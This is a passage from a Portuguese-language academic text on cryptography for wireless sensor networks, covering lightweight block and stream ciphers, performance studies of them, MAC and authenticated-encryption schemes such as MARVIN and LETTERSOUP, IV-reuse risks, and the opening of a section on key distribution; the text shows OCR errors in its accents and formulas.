SEA [107], mCrypton [70], Trivium [36] e Grain [51], cujas caracteristicas sdo resumidas
na Tabela 4.2.

Tabela 4.2. Caracteristicas de algumas cifras dedicadas.

Cifra Tipo Tamanho de Bloco (bits) Tamanho de Chave (bits)
CURUPIRA | Bloco | 96 96/144/192
PRESENT Bloco | 64 80/128
HIGHT Bloco | 64 128
SEA,.;, Bloco | n=(6bh)* a>0 n
mCrypton Bloco | 64 64/96/128
Grain Fluxo | 1 80/128
Trivium Fluxo | 1 80

O projeto destes algoritmos leva em consideracdo as restricdes de recursos ine-
rentes a estas plataformas. Assim, é comum o uso de operagdes simples, fazendo com
que estas cifras sejam potencialmente mais eficientes e compactas do que algoritmos de
uso geral. Adicionalmente, todos os algoritmos desta tabela sdo considerados seguros, no
sentido que a forma mais eficiente de ataque contra eles € por meio de for¢ca bruta. De
fato, todos levam em consideragcao formas avangadas de criptandlise em seu projeto, ape-
sar de ainda ndo terem sido tdo amplamente analisados como o AES e outros algoritmos
amplamente utilizados. Por outro lado, o nivel de seguranca oferecido por elas costuma
ser menor do que o usualmente encontrado em redes convencionais, ja que o objetivo é
fornecer seguranga suficiente para suprir as necessidades de RSSF. Conforme pode ser
observado na Tabela 4.2, os tamanhos de bloco e chave sdo em sua maioria menores do
que aqueles do AES (bloco: 128 bits, chave: 128, 192 ou 256 bits), por exemplo.

O CURUPIRA € uma cifra de bloco de 96 bits projetada de acordo com metodo-
logia conhecida como Estratégia de Trilha Larga (ETL) [33], a mesma utilizada no AES,
a qual é reconhecida pela sua resisténcia a diversas modalidades de criptanélise moderna
(e.g., ataques linear [79] e diferencial [12]). De fato, apesar do menor tamanho de bloco,

30 Skipjack usa chaves criptograficas de 80 bits, por vezes considerado o tamanho minimo para cifras
modernas, e possui baixa margem de seguranca contra ataques, dado que 31 de seus 32 rounds podem ser
criptanalisados com sucesso [11].
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a estrutura de sua fungdo de round é bem semelhante a do AES, apresentando o mesmo
tipo de transformacgdes lineares, nio-lineares e de adi¢do de chave. As operacdes bésicas
do algoritmo s@o orientadas a bytes, incluindo fundamentalmente XOR, shift de bits e
indexacdo de tabelas (pode ser usada uma tnica tabela de 256 bytes para maior eficiéncia
em software, ou entdo duas tabelas de 16 bytes para implementacdes rapidas e compactas
em hardware). Um ponto importante € que todas as transformacdes utilizadas na fungao
de round sdo involugdes (i.e., auto-inversas), de modo que a encriptacao e decriptacao sao
idénticas exceto pela sequéncia de chaves utilizadas. Deste modo, o mesmo algoritmo
pode ser usado em ambos os processos, levando a uma estrutura mais compacta tanto em
software quanto em hardware.

A operacdo do CURUPIRA envolve 10, 14 ou 18 rounds, respectivamente para os
tamanhos de chave de 96, 144 ou 192 bits. Duas versdes do algoritmo de escalonamento
de chaves foram propostas: o CURUPIRA-1 [6] € mais conservador, adotando um pro-
cesso de escalonamento também baseado na ETL; ja no CURUPIRA-2, as sub-chaves sdao
geradas por meio de um LFSR (Linear Feedback Shift Register, ou “Registrador de Des-
locamento Linear com Retro-alimentac¢io”), tendo como foco um desempenho superior e
menor tamanho de cédigo. Em ambos os casos, as sub-chaves podem ser calculadas sob
demanda, de modo a reduzir o uso de memoéria RAM pelo algoritmo.

O PRESENT ¢é uma cifra de bloco com 32 rounds, tamanho de bloco de 64-bits e
tamanho de chave de 80 ou 128 bits. O seu projeto tem como objetivo principal prover
uma solucdo altamente compacta em hardware e, a0 mesmo tempo, com um desempenho
comparavel aquele de cifras de fluxo modernas. De fato, esta cifra se utiliza de algumas
estruturas inspiradas no Serpent [10], uma cifra de bloco de uso geral reconhecida pelo seu
excelente desempenho em hardware. Em cada round, sdo executadas operacdes bastante
basicas em hardware, como XOR, indexacdo de tabelas de nibbles (estruturas de 4 bits) e
permutacdo bit-a-bit; por outro lado, estas duas dltimas operagdes ndo costumam ser tao
eficientes em software [72].

HIGHT € uma cifra de bloco que opera sobre blocos de 64 bits e adota chaves de
128 bits. Ela foi desenvolvida para uso em dispositivos altamente limitados, como eti-
quetas de RFID, devido ao reduzido nimero de componentes necessarios para sua imple-
mentacao em hardware. No entanto, sua estrutura é bastante simples para implementacao
eficiente em software, contando com operagdes como XOR, adi¢do mddulo 256 e rotagao
bit-a-bit. Basicamente, a cifra consiste em uma transformacao inicial, 32 rounds usando
4 sub-chaves cada, uma transformacdo final e um algoritmo de escalonamento de cha-
ves responsavel por produzir as 128 sub-chaves necessdrias. Um ponto importante com
relacdo a este algoritmo de escalonamento é que o mesmo apresenta um comportamento
ciclico, i.e., a chave original é recuperada ao final da operacao de encriptagao/decriptagdo;
esta caracteristica facilita bastante a computacdo das sub-chaves sob demanda.

A cifra de bloco SEA,, ;, (de Scalable Encryption Algorithm — “Algoritmo de En-
criptacdo Escaldvel”) opera sobre blocos de tamanho varidvel, n, tendo como Unica restri-
cdo que n seja multiplo de b, o tamanho das palavras sobre as quais trabalha o processador
(e.g., b =8 no caso de bytes). O tamanho de chave utilizado também € n, enquanto o nud-
mero de rounds minimo para evitar ataques criptanaliticos modernos € calculado como o
menor ndmero impar n, tal que n, > 3n/4+n/b+2|n/2|. As operagdes de encriptagio e
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decriptagao adotam rotinas compactas e destinadas a processadores com uma conjunto de
instrugdes limitado (basicamente, fungdes AND, OR, XOR, rotacdo e adi¢do modular).
Além disto, o escalonamento de chaves adotado pelo SEA,, ;, € ciclico e idéntico tanto na
encriptagdo quanto na decripta¢do, de modo que o mesmo algoritmo de escalonamento
pode ser utilizado em ambos os processos. No entanto, em comparagdo com outras cifras,
o numero de rounds necessdrio para prover um nivel razodvel de seguranca é bastante
elevado.

A cifra de bloco mCrypton [70] opera sobre blocos de 64 bits e aceita chaves de 64,
96 ou 128 bits. A operagao do algoritmo envolve 12 rounds compostos de transformacdes
bastante simples e orientadas a nibbles, como indexacdo de tabelas (usando quatro tabelas
ndo-lineares, de 16 nibbles cada), XOR e AND. J4 o algoritmo de escalonamento de
chaves consiste basicamente em indexagao de tabelas de nibbles (usando apenas uma das
quatro tabelas disponiveis) e rotagdes (tanto sobre palavras de 16 bits quanto bit-a-bit).
Algumas das transformagdes usadas nos rounds da cifra sdo involugdes, permitindo o
reuso de partes do algoritmo de encriptacdo durante o processo de decriptacdo e, desta
forma, reduzindo o espago ocupado pela cifra completa.

Grain e Trivium sdo duas cifras de fluxo orientadas a hardware. Ambos utilizam
chaves de 80 bits e apresentam uma estrutura bastante simples, tendo sido escolhidos para
fazer parte do conjunto de cifras de fluxo selecionadas pelo projeto europeu ECRYPT*.
O Grain consiste basicamente na interag@o entre dois registradores de deslocamento com
retro-alimentacdo (um linear e outro ndo-linear) de 80 bits, os quais geram a sequéncia
pseudo-aleatdria de bits a partir da chave inicial e de um vetor de inicializacdo (IV) de 64
bits. Ja o Trivium requer um IV de 80 bits, o qual € utilizado juntamente com a chave para
inicializar um registrador interno de 288 bits; durante a operacdo da cifra, os bits deste
registrador sdo iterativamente selecionados tanto para a geracio da sequéncia de bits para
encriptagdo/decriptacdo de mensagens, quanto para a atualizacdo do proprio registrador.

4.3.3. Analise de Desempenho

A literatura inclui diversos trabalhos cujo objetivo € identificar as cifras mais adequadas
para uso em RSSF. Estes trabalhos sdo muitas vezes bastante distintos em termos de me-
todologia, plataforma, métricas e foco da andlise, o que dificulta uma comparacao direta
entre os resultados obtidos. Entretanto, o estudo dos mesmos € bastante instrutivo no
sentido de “filtrar” grupos de algoritmos com potencial para satisfazer aos requisitos de
seguranca e eficiéncia de uma aplicacdo especifica. Com este intuito em mente, discuti-
remos a seguir alguns trabalhos voltados a avaliacdo tanto a cifras convencionais quanto
dedicadas.

Um estudo bastante completo sobre cifras de fluxo convencionais € apresentado
em [45]. Os dados medidos sdo o tempo necessario e energia consumida pelos processos
de inicializagdo e encriptacdo de mensagens de diferentes tamanhos, bem como a quan-
tidade memoria (RAM e flash) ocupada pelos algoritmos. A plataforma escolhida € uma
placa de desenvolvimento equipada com um processador ARM922T. A anilise dos re-
sultados obtidos para as 12 cifras estudadas permite identificar que algumas apresentam

“http://www.ecrypt.eu.org/
Shttp://www.arm.com/products/CPUs/ARM922T.html
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um bom potencial para uso em RSSF, em especial o Snow v2.0 [43].

Ja em [66], Law et al. desenvolve um estudo bastante completo de cifras de bloco
convencionais. Neste caso, as medidas sdo realizadas em microcontrolador MSP430F149 [110],
da Texas Instruments. A discussdo concentra-se principalmente na andlise de seguranca
das mesmas e na avaliacdo da memoria ocupada e do desempenho considerando dife-
rentes modos de operacdo. Como resultado desta andlise, os autores propdem o uso de
diferentes cifras para diferentes combinacdes de requisitos de seguranga e memoria. Mais
especificamente, os autores concluem que o Skipjack [90] € o mais recomendado para
aplicacdes com reduzida necessidade de seguranga; ja em cendrios onde o nivel de segu-
ranca deve ser elevado, os autores sugerem o uso do MISTY1 [80] e o AES quando h4,
respectivamente, reduzida e elevada disponibilidade de memdria.

Um outro estudo interessante € apresentado por Strydis et al. em [109], cujo foco
principal € o uso de criptografia em aplicacOes biomédicas usando dispositivos limitados
(e.g., implantes dotados de sensores biométricos). Neste trabalho, um total de 13 cifras
de bloco sdo avaliadas de acordo com as seguintes métricas: tamanho de cddigo, veloci-
dade do processo de encriptacdo, seguranca, consumo maximo e médio de energia e de
poténcia. Os dados sao medidos usando a ferramenta XTREM [25], um simulador de
desempenho e consumo de energia para o processador embarcado XScale, da Intel [56].
Os resultados indicam o MISTY 1 como a cifra com melhor pontuacido considerando as
métricas utilizadas, enquanto o IDEA [65, 81] e o RC6 [100] também se mostraram inte-
ressantes. Por outro lado, os autores parecem ter utilizado uma versao muito pouco otimi-
zada do Skipjack, ja que os resultados do mesmo em termos de desempenho e eficiéncia
energética mostraram-se muito inferiores aqueles das outras cifras analisadas, contrari-
ando andlises similares em plataformas limitadas [66, 72].

Um outro estudo de interesse € aquele apresentado por Gro3schidl et al. em [47].
Este trabalho também € voltado a cifras convencionais, mas tem como objetivo avaliar
a eficiéncia de implementacdes altamente compactas de alguns algoritmos modernos.
Como resultado, os autores concluem que € possivel otimizar cifras como AES e RC6
de modo a obter um bom desempenho e reduzido consumo de energia em plataformas
limitadas. Todavia, uma limitacdo deste trabalho é que ndo sido consideradas algumas
cifras reconhecidas pelo seu alto desempenho e reduzida necessidade de memdria (e.g.,
Skipjack, IDEA ou MISTY1), dificultando uma avaliagdo mais abrangente dos resultados
obtidos.

Ja com relagdo a cifras dedicadas, uma andlise bastante relevante é apresentada
em [42], no qual sdo consideradas implementagdes em software e hardware de diversos
algoritmos. Dentre as cifras consideradas, aquelas que ocupam uma menor area de chip
sdo Grain e PRESENT e a que prové maior vazao é o mCrypton; em comparagdo, o HIGHT
ocupa cerca de duas vezes mais espaco do que PRESENT, fornecendo uma vazdo ligeira-
mente inferior a este ultimo. Nos testes com as implementacdes em software, a vazao
obtida pelo HIGHT ¢ elevada, apesar de nao superar a do IDEA; entretanto, os autores
afirmam nao terem sido capazes de obter uma implementacdo compacta do HIGHT, de
modo que o espaco ocupado por ele chega a ser o dobro daquele usado pelo AES. J4 o
PRESENT apresenta um c6digo bastante compacto e baixo desempenho, enquanto o SEA
ndo se sobressai em nenhum destes dois quesitos.
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Outro trabalho recente que aborda cifras dedicadas, comparando-as com algorit-
mos convencionais, € aquele apresentado em [72]. Neste estudo, PRESENT, HIGHT e SEA
mostram-se menos interessantes do que o Skipjack em termos de velocidade e consumo
de energia; no entanto, o tamanho de cddigo destas cifras dedicadas € bastante inferior ao
do Skipjack.

O artigo no qual o PRESENT € apresentado [15] também inclui uma secdo que ava-
lia o desempenho de algumas cifras dedicadas, apesar de restringir-se a implementagdes
em hardware. Esta andlise mostra que o mCrypton atinge um bom desempenho, supe-
rando consideravelmente cifras como HIGHT, AES e o préprio PRESENT; por outro lado,
0 PRESENT apresenta-se como uma solu¢cdo mais compacta.

Finalmente, em [105], desenvolvemos nossa andlise do desempenho do CURU-
PIRA em diferentes plataformas. O resultado € que, especialmente em sua segunda versao
(CURUPIRA-2), esta cifra dedicada chega a ser mais rdpida do que implementacdes bas-
tante otimizadas do Skipjack e do AES em plataformas limitadas, além de apresentar um
custo reduzido de memoria.

4.4. Mecanismos de Autenticacio de Mensagens

Algoritmos de MAC (Message Authentication Code, ou “Cdodigos de Autenticacdo de
Mensagens”) sdo fungdes irreversiveis que geram uma saida de tamanho fixo, o chamado
tag de autenticacdo, a partir de uma entrada de tamanho arbitrario e uma chave secreta.
Seu uso € feito da seguinte forma: em primeiro lugar, o emissor da mensagem gera o tag
de autenticacdo usando a chave K compartilhada com o destinatdrio da mensagem. Ao
receber 0 conjunto mensagem-+tag, o receptor calcula localmente o tag da mensagem e
compara com o valor recebido. Caso os valores sejam idénticos, a mensagem ¢ aceita.
Caso contrdrio, a mensagem ou o tag recebido foi modificado durante a transmissao, ou
entdo o par foi gerado por um usudrio que desconhece K e tentou “forjar’” uma mensagem.
Portanto, o uso de algoritmos de MAC garante que apenas usudrios autorizados criem e
verifiquem a autenticidade das mensagens trocadas.

Quanto maior o tamanho do tag utilizado, mais dificil se torna a tarefa de forja-lo,
mas também maior € o tamanho das mensagens trocadas. Assim, a escolha do tamanho
mais adequado depende dos requisitos da aplicacdo: hd normalmente um limite superior
para o tamanho do tag que pode ser produzido por um determinado algoritmo de MAC,
enquanto tags menores podem ser obtidos truncando o tag original.

Em muitas aplicacdes, confidencialidade e autenticacdo sdo ambos servigos es-
senciais. Uma forma simples e segura de prover ambos os servigos € simplesmente usar
um MAC e uma cifra seguros de forma independente, com chaves distintas®. Por outro
lado, existem algoritmos que combinam ambos o0s servi¢os sob uma tnica chave secreta,
simplificando as tarefas de gerenciar, distribuir e armazenar chaves. Estas solu¢des sao
conhecidos genericamente como esquemas de AE (Authenticated Encryption, ou “En-
criptacdo Autenticada’). A maior parte destes esquemas permite a autenticacido de dados
encriptados (confidenciais) e ndo-encriptados (e.g., um cabecalho que deve ser mantido

E importante ressaltar que a utilizagdo de uma mesma chave para ambos os processos costuma levar a
problemas de seguranca graves [13].
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as claras devido a seu uso durante o roteamento de pacotes). Algoritmos com esta ca-
racteristica s@o conhecidos como esquemas de AEAD — Authenticated Encryption with
Associated Data, ou “Encriptacdo Autenticada com Dados Associados”, onde os “dados
associados” correspondem a por¢do da mensagem deixada as claras.

O projeto de esquemas de AE normalmente envolve um MAC e uma cifra internos,
instanciados com a mesma chave e com um certo vetor de inicializacao (IV). Apesar da
grande variedade de estratégias de construgdo, existem essencialmente duas classes de
algoritmos de AE: quando duas passagens sdo feitas pela mensagem (uma para encriptd-la
e a outra para autenticd-la), o esquema € chamado Two-Pass (“Duas Passagens”); quando
uma Unica passagem ¢é feita, tem-se um esquema One-Pass (“Uma Passagem”).

A seguir, vamos discutir o uso destas solucdes em RSSF, e apresentaremos al-
gumas constru¢des de MACs e esquemas de AEAD especialmente promissoras para uso
nestas redes.

4.4.1. Autenticacio de Mensagens e Encriptacido Autenticada em RSSF

A autenticag¢do de mensagens costuma ser um requisito importante em diversas aplicagdes
de RSSF, ja que a introducdo de dados falsos na rede podem levar a a¢gdes equivocadas
e potencialmente graves (e.g., um diagndstico incorreto da satide um paciente em uma
aplicacdo médica). Por esta razdo, a maioria das arquiteturas de seguranga voltadas a
RSSF proveem algum tipo de mecanismo de autenticagdo, mesmo quando a encriptagao
dos dados nao € necessdria. Por exemplo, o TinySec usa uma variante do CBC-MAC [85,
8] para autenticacdo de dados, que podem ou ndo ser encriptados usando uma cifra de
bloco em modo CBC (perceba que duas chaves distintas sdo necessdrias neste caso); ja
o Minisec adota o Offset CodeBook (OCB) [62], um esquema de AEAD. Em ambos os
casos, o tamanho do tag de autenticacdo € 4 bytes.

Em plataformas com recursos limitados, uma estratégia econdmica na constru¢ao
de algoritmos de MAC (e, por extensdo, de AEAD) € reutilizar a estrutura de alguma
primitiva criptografica, como um algoritmo de hash ou, mais comumente, uma cifra de
bloco. Nestes casos, 0 espaco extra necessdrio para implementar a autenticacdo acaba
sendo bastante reduzido (e.g., 10% do espago usado pela cifra).

Algoritmos convencionais baseados em cifras de bloco costumam chamar a cifra
subjacente uma vez para cada bloco da mensagem autenticada, de modo que o custo da
autenticacio € semelhante ao de encriptar a mensagem; este € o caso de algoritmos de
MAC como CBC-MAC, CMAC [88] e PMAC [14], e de esquemas de AEAD como o
EAX [9].

Em comparacdo, a operacdo de esquemas baseados na estrutura Carter-Wegman [91]
faz intenso uso das chamadas “func¢des de hash universais™, estruturas dotadas de proprie-
dades mais simples do que aquelas de primitivas criptograficas. O resultado é que algorit-
mos que seguem esta estrutura (e.g., GMAC e GCM [89]) podem ser implementados de
forma mais eficiente do que solu¢des convencionais. De fato, € possivel chegar a um custo
por bloco processado tao baixo quanto 10%-20% de uma encriptagdo. No entanto, isto
ocorre quando o algoritmo € implementado usando tabelas relativamente grandes que, por
dependerem da chave utilizada, devem ser armazenadas em RAM sempre que a aplicagdo
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alvo envolver mecanismos de troca de chaves. Em consequéncia, este tipo de otimizagao
torna-se invidvel em dispositivos com baixa disponibilidade de memodria RAM, como é
o caso da maioria dos sensores comerciais. Por outro lado, implementagdes mais com-
pactas geralmente nio apresentam um desempenho muito superior aquele de algoritmos
convencionais, o que faz com que esta estratégia seja pouco atrativa em RSSF.

Ja em esquemas de AEAD do tipo One-Pass, o custo do processo de autenticacao
€ bastante reduzido, o que torna estas solu¢des altamente interessantes para uso em RSSF.
Apesar disso, todos os esquemas One-Pass desenvolvidos até o momento sdo cobertos
por algum tipo de patente, um grande empecilho para sua ampla adog¢do.

A despeito desta falta de op¢des de autenticacdo otimizadas (i.e., com baixo custo
de processamento e memoria, e livres de patentes) de uso geral que pudessem ser aplica-
das em RSSF, existe atualmente um ndmero consideravelmente reduzido de alternativas
especificas para este problema. Dentre as solugdes existentes, duas sdo de especial in-
teresse: a estrutura ALRED [35] e o modo CS [103]. A Figura 4.5 mostra um desenho
esquemdtico de ambas as solugdes, que sdo discutidas com mais detalhes a seguir.
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Figura 4.5. A estrutura ALRED (esquerda) e o modo CS (direita). Notacao: Ek:
encriptacdo completa; E}(/ ? meia encriptacdo; F: funcao para combinar resulta-
dos parciais; M: mensagem legivel (ou cifrada, no caso do ALRED; C: mensagem
cifrada.

4.4.1.1. A estrutura ALRED e o Cipher-State

A estrutura ALRED [35] foi originalmente proposta por Daemen e Rijmen para a cons-
trucdo eficiente de MACs baseados em cifras de bloco, especialmente (mas nao exclusi-
vamente) quando a cifra escolhida possui uma estrutura semelhante a do SQUARE [32]
—e.g., AES e CURUPIRA. Nestes casos, o custo por bloco autenticado gira em torno
de 25%-40% do custo de uma encriptacdo completa. Em plataformas com memoria
abundante, isto ainda € mais lento do que usar um algoritmo baseado na estrutura Carter-
Wegman; entretanto, como a estrutura ALRED requer pouco espaco adicional na memoria,
ela mostra-se mais adequada para uso em RSSF.

A 1deia por tras da constru¢do ALRED € efetuar uma encriptagdo completa apenas
no inicio e no final do processo de autenticacdo, enquanto os blocos da cifra sdo pro-
cessados por meio de apenas alguns rounds (sem chave) da cifra subjacente. O nimero
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especifico de rounds necessarios desta forma depende da cifra utilizada, mas costuma ser
4 no caso de cifras da familia do SQUARE. Como desvantagem, o numero total de men-
sagens que podem ser autenticadas usando esta estratégia costuma ser inferior ao obtido
com algoritmos convencionais, para uma mesma cifra de bloco subjacente.

Um exemplo de MAC baseado na estrutura ALRED € o algoritmo denominado
MARVIN, desenvolvido recentemente para atender as particularidades inerentes a plata-
formas com recursos restritos. Em linhas gerais, este algoritmo consiste na geracgdo de
um valor secreto inicial (o resultado da encriptacdo de uma constante) que alimenta um
LFSR; as saidas deste LFSR sdo combinadas com os blocos da mensagem e passam por
alguns rounds da cifra subjacente; finalmente, os resultados parciais sio combinados entre
si via XOR e encriptados, gerando o tag de autenticagao.

Apesar de ndo ter sido criada explicitamente com este objetivo em mente, a es-
trutura ALRED pode também ser utilizada na construcao de algoritmos de AEAD. Este é
o caso do LETTERSOUP, que também € voltado a plataformas limitadas e pode ser visto
como uma extensdo do MARVIN. De fato, o algoritmo consiste basicamente na encripta-
cdo da mensagem usando a cifra subjacente em um modo de operacdo em fluxo baseado
em um LFSR, e na autenticagdo do resultado (e, possivelmente, de dados associados)
usando o MARVIN. Além dos beneficios diretamente herdados da estrutura ALRED, esta
solucdo apresenta alguns atrativos adicionais para uso em RSSF, com destaque para a
ndo-expansdo das mensagens, € 0 uso apenas da do algoritmo de encriptacdo da cifra
subjacente tanto para encriptar quanto para decriptar os dados.

Um detalhe adicional com relagdo ao MARVIN e ao LETTERSOUP € que ambos
apresentam uma sinergia particularmente interessante com o CURUPIRA-2, jd que os trés
algoritmos utilizam um mesmo tipo de LFSR em sua estrutura. Desta forma, € possivel
reduzir ainda mais o tamanho de cddigo ocupado por estes algoritmos de autenticacao
quando esta € a cifra subjacente utilizada.

Ja o modo Cipher State (“Estado da Cifra”), ou simplesmente modo CS [103],
desperta interesse por permitir a construcdo de solugdes de AE (ndo de AEAD) cujo
custo de autenticar dados encriptados é extremamente reduzido. A ideia neste caso é
explorar a informagdo parcial do processo de encriptagdo das mensagens para autentica-
las. Mais especificamente, o valor resultante da aplicacdo de metade do nimero total de
rounds (e.g., 5 no caso do AES) sobre cada bloco da mensagem é combinado com a saida
de um LFSR e adicionado a um acumulador; o tag de autenticacdo € entdo calculado a
partir da encriptacdo deste acumulador. Em cendrios em que as mensagens trocadas sao
sigilosas, devendo ser encriptadas, o custo total da autenticacdo usando o modo CS é
minimo, resumindo-se ao custo de operagdo do LFSR mais duas encriptagdes adicionais
(uma para inicializar o LFSR e a outra aplicada ao acumulador no final do processo).

Entretanto, o esquema ndo apresenta apenas vantagens. Primeiramente, ele foi
concebido como uma solu¢do de AE, mas ndo de AEAD. Uma possivel expansao do
mesmo seria lidar com os dados ndo encriptados da mesma forma como é feito com os
dados sigilosos; neste caso, o custo de processamento dos dados associados seria me-
tade de uma encriptagdo completa. Isto corresponde a 50% do custo de um algoritmo
convencional, porém ndo chega a ser mais eficiente do que usar uma solu¢iao baseada
na estrutura ALRED. Além disto, para mensagens cujo comprimento ndo ¢ multiplo do
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tamanho de bloco, ndo € previsto qualquer mecanismo que dispense o uso de padding,
de forma que o modo CS conforme originalmente especificado pode levar a expansao de
mensagens. Finalmente, esquemas baseados no modo CS requerem a implementacao da
funcdo de decriptacdo da cifra subjacente. O impacto deste fato sobre o tamanho de c6d-
gio do algoritmo poderia ser pouco significativo caso a cifra de bloco adotada possuisse
uma estrutura involutiva, como é o caso do CURUPIRA e de outras cifras projetadas para
plataformas restritas. Contudo, de acordo com os autores do modo CS, este esquema
nao deve ser utilizado em conjunto com este tipo de cifra, apesar de ndo serem dadas
explicagdes detalhadas que esclarecam esta limitagao.

Portanto, as vantagens do modo CS quando comparado a estrutura ALRED depen-
dem bastante das caracteristicas da aplicacdo alvo, havendo normalmente um compro-
misso entre tamanho de cédigo e desempenho obtido.

4.4.2. Analise de Desempenho

A literatura inclui um nimero reduzido de trabalhos que avaliam mecanismos de autenti-
cacdo no contexto de RSSF.

Em um artigo recente, Bauer et al. [7] faz uma andlise do desempenho e da ocupa-
cdo de memoria RAM de quatro esquemas de AEAD: OCB, EAX, GCM e CCFB+H [73],
todos usando o AES como cifra de bloco subjacente. A plataforma escolhida para os tes-
tes foi um sensor MICAz [28]. Assumindo que a aplicagdo em questdo usa tags de 4 bytes
e dados associados de 8 bytes, os autores recomendam a ado¢cao do CCFB+H devido ao
seu melhor desempenho e menor uso de memoria para diferentes tamanhos de mensagem.
Como vantagens adicionais, o algoritmo previne a expansao das mensagens encriptadas,
nao € coberto por patentes e, segundo os autores da andlise, € ficil de implementar. J4 o
OCB ¢ considerado uma solugdo atrativa para processar pacotes grandes. Entretanto, este
AEAD requer a implementacio do algoritmo de decriptacdo da cifra subjacente e, sendo
um AEAD do tipo One-Fass, é coberto por patentes (a0 menos nos EUA). Finalmente, o
EAX mostra-se pouco menos eficiente do que CCFB+H e OCB, permanecendo como al-
ternativa possivel, enquanto a ado¢do do GCM € fortemente desaconselhada pelos autores
da andlise em razao do seu desempenho muito inferior.

Tendo em vista a dificuldade de encontrar trabalhos semelhantes avaliando o de-
sempenho de algoritmos de MAC, decidimos desenvolver nossa propria analise cobrindo
CMAC, PMAC, GMAC e MARVIN. A plataforma de testes escolhida foi um sensor Te-
losB [30] rodando o TinyOS [67] como sistema operacional, e a cifra de bloco subjacente
para todos os algoritmos foi 0 CURUPIRA-2. Os testes incluiram duas implementagdes
de cada MAC, uma com otimizagdes voltadas a reduzir o tamanho do c6digo e a outra
visando o aumento de desempenho.

Em termos de desempenho, os resultados do PMAC e do CMAC foram semelhan-
tes, sendo ambos os mais eficientes para a autenticagdo de mensagens pequenas, com até
12 bytes (i.e., um unico bloco). Para mensagens maiores do que 12 bytes, 0 MARVIN
mostrou-se mais eficiente. Finalmente, o tempo necessdrio para a autenticacdo com o
GMAC foi cerca de 10 vezes inferior aquele dos outros algoritmos testados, mais uma
vez comprovando a baixa eficiéncia da estrutura Carter-Wegman em cendrios com me-
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moéria limitada’. Estes resultados mantiveram-se consistentes para ambas as versdes de
otimizagao utilizadas.

O comportamento dos algoritmos com relagdo a consumo de energia foi seme-
lhante ao de seu desempenho, porém ndo exatamente igual: PMAC e CMAC tiveram um
consumo de energia inferior ao do MARVIN para mensagens com até 24 bytes, sendo fi-
nalmente superados por este ultimo para mensagens maiores. O consumo do GMAC, por
outro lado, foi bem acima do consumo dos seus pares (e.g., cerca de 8 vezes 0 consumo
do Marvin para mensagens de 24 bytes).

Em suas versdes mais compactas, todos os algoritmos apresentaram um tamanho
de cdédigo semelhante, por volta de 2.5 KiB, com ligeira vantagem para o MARVIN, com
2.4 KiB. Ja para as versdes com desempenho otimizado, o tamanho de cddigo foi préximo
de 3.2 KiB para todos os algoritmos exceto pelo MARVIN, cujo tamanho de cédigo foi
de apenas 2.7 KiB. Em ambas as versdes, a quantidade de memodria RAM utilizada pelos
algoritmos ficou entre 130 e 150 bytes, valores correspondentes a0 PMAC e a0 MARVIN,
respectivamente.

4.4.3. Sobre Seguranca de Esquemas de AEAD

Uma questdao importante com relacdo aos esquemas de AEAD discutidos anteriormente
(e, na verdade, da maioria das solu¢des de AEAD existentes) € a seguranca dos mesmos
depende da ndo-repeti¢do dos IVs sob uma mesma chave.

Os efeitos da repeti¢ao de I'Vs € especialmente grave quando adota-se um processo
de encriptacdo em fluxo. Este € o caso do EAX, GCM e LETTERSOUP, para os quais a
encriptacdo de duas mensagens M| e M, sob um mesmo IV e chave resulta em textos
cifrados C e C; satisfazendo a relagdo C; ¢ C, = M| & M;. Para o modo CCFB+H, que
adota uma combina¢do dos modos CFB e CTR [87], a mesma relagdo entre mensagens
claras e cifradas existe para o primeiro bloco das mensagens, persistindo para blocos
subsequentes apenas se todos os blocos anteriores forem idénticos. J4 no OCB, apenas
o ultimo bloco € encriptado em modo de fluxo (com o intuito de prevenir a expansdo do
mesmo), de modo que esta relagdo se mantém para mensagens tendo o0 mesmo tamanho;
para o restante dos blocos, 0 OCB usa uma variante do modo ECB [87] semelhante aquela
adotada pelo CS, de modo que o efeito da repeticao de IVs em ambos os casos se restringe
a geracdo de blocos cifrados idénticos a partir blocos claros idénticos. Finalmente, a
repeticdo de IVs em um modo de operagao do tipo CBC (como o adotado no TinySec)
revela uma quantidade minima de informagdo: apenas o comprimento do maior prefixo
compartilhado entre eles, em blocos.

A repeticdo de IVs pode ser evitada por meio do uso de IVs suficientemente gran-
des. Todavia, esta estratégia deve ser considerada com cuidado em aplicacdo de RSSF, ja
que a adi¢cdo de I'Vs grandes em cada pacote transmitido levaria inevitavelmente ao um
maior consumo de energia e a reducdo da vida ttil dos sensores.

Para evitar este problema, algumas técnicas foram desenvolvidas. Ao invés de
enviar o IV completo em cada pacote, emissor e receptor poderiam manter um contador

"Na implementagio do GMAC, nio foram utilizadas tabelas pré-calculadas pelos motivos discutidos na
secdo 4.4.1.
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sincronizado, o qual seria incrementado a cada pacote recebido, e do qual o valor do
IV seria obtido. Esta € a estratégia adotada pelo SNEP (Secure Network Encryption
Protocol) [96], no qual o valor do contador corresponde aquele do IV utilizado e, portanto,
nenhum IV € trocado pelas partes comunicantes. Isto também € feito no MiniSec, cujos
pacotes incluem apenas alguns bits do IV com o intuito de facilitar a ressincronizacao
entre contadores quando ha perda de pacotes. Também € possivel reutilizar alguns campos
do cabecalho dos pacotes como parte dos IVs, como € feito no TinySec e no Sensec:
ambos reaproveitam 4 bytes do cabecalho na constru¢do dos IVs. Finalmente, antes que
os I'Vs sejam repetidos, mecanismos de substituicdo de chaves devem ser empregados.

4.5. Distribuicao de chaves e criptografia assimétrica em RSSF

Um aspecto crucial para o uso de algoritmos baseados em chaves secretas, como € o caso
de cifras, MACs e esquemas de AEAD, é a forma como estas chaves sdo distribuidas.
Em dispositivos modernos, isto € feito normalmente por meio de protocolos considera-
velmente complexos (e.g., envolvendo diversas trocas de mensagens, mensagens grandes,
ou operagdes com elevado custo computacional), inadequados para uso em RSSF. Por
esta razdo, o desenvolvimento de solugdes eficientes para estes cendrios sempre foi con-
siderado um grande desafio.

A literatura conta atualmente com diversas propostas para distribuicdo de chaves
voltadas a RSSF (para uma lista bastante completa, veja [83]). Em fun¢do de suas ca-
racteristicas, estas solucdes podem ser agrupadas em trés tipos principais [19]: Esquemas
Auto-Regulados, Esquemas Arbitrados e Esquemas de Pré-distribuicdo. A seguir, vamos
discutir as caracteristicas de cada uma destes grupos, dando uma visao geral de como os
mesmos funcionam. Antes disto, entretanto, apresentaremos os requisitos que devem ser
levados em consideragdo na avaliacio destes esquemas.

4.5.1. Requisitos e Métricas

Esquemas de gerenciamento de chaves costumam ser avaliados por meio de diversas mé-
tricas. De acordo com os diferentes (e geralmente conflitantes) requisitos associados a
estas métricas, elas podem ser classificadas em trés grupos distintos: seguranca, eficién-
cia e flexibilidade.

